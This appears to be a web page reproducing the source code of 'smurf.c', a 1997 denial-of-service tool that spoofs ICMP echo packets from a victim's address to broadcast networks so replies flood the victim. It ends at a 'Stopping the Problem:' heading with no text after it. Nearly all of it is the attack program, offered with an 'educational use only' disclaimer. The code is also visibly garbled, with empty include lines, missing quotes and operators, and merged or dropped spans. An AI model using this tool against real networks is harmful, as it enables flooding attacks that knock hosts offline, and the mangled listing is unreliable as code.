HERE IS THE SMURF SOURCE CODE:

*  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $*
*  spoofs icmp packets from a host to various broadcast addresses resulting
*  in multiple replies to that host from a single packet.

*  disclaimer:
*     I cannot and will not be held responsible nor legally bound for the
*     malicious activities of individuals who come into possession of this
*     program and I refuse to provide help or support of any kind and do NOT
*     condone use of this program to deny service to anyone or any machine.
*     This is for educational use only. Please Don"t abuse this.
* TFreak
*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);


/* stamp */
char id\[\] = $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $;

int main (int argc, char *argv\[\])
\{
   struct sockaddr_in sin;
   struct hostent *he;
   FILE   *bcastfile;
   int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
   char   buf\[32\], **bcastaddr = malloc(8192);

   banner();
   signal(SIGINT, ctrlc);

   if (argc h_addr, he->h_length);
   sin.sin_family = AF_INET;
   sin.sin_port = htons(0);

   num = atoi(argv\[3\]);
   delay = atoi(argv\[4\]);
   pktsize = atoi(argv\[5\]);

   if ((bcastfile = fopen(argv\[2\], r)) 
 NULL) \{
      perror(opening bcast file);
      exit(-1);
   \}
   x = 0;
   while (!feof(bcastfile)) \{
      fgets(buf, 32, bcastfile);
      if (buf\[0\] 
 "#" || buf\[0\] 
 "\n" || ! isdigit(buf\[0\])) continue;
      for (i = 0; i  1024) \{
      fprintf(stderr, ERROR: packet size must be   
                   \n\n
                   target        = address to hit\n
                   bcast file    = file to read broadcast addresses from\n
                   num packets   = number of packets to send (0 = flood)\n
                   packet delay  = wait between each packet (in ms)\n
                   packet size   = size of packet (tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
   ip->ihl = 5;
   ip->version = 4;
   ip->ttl = 255;
   ip->tos = 0;
   ip->frag_off = 0;
   ip->protocol = IPPROTO_ICMP;
   ip->saddr = sin.sin_addr.s_addr;
   ip->daddr = dest;
   ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
   icmp->type = 8;
   icmp->code = 0;
   icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

   sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
          0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

   free(packet);           /* free willy! */
\}

void ctrlc (int ignored)
\{
   puts(\nDone!\n);
   exit(1);
\}

unsigned short in_chksum (u_short *addr, int len)
\{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) \{
      sum += *addr++;
      nleft -= 2;
   \}

   if (nleft 
 1) \{
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   \}

   sum = (sum >> 16) + (sum + 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
\}

Stopping the Problem: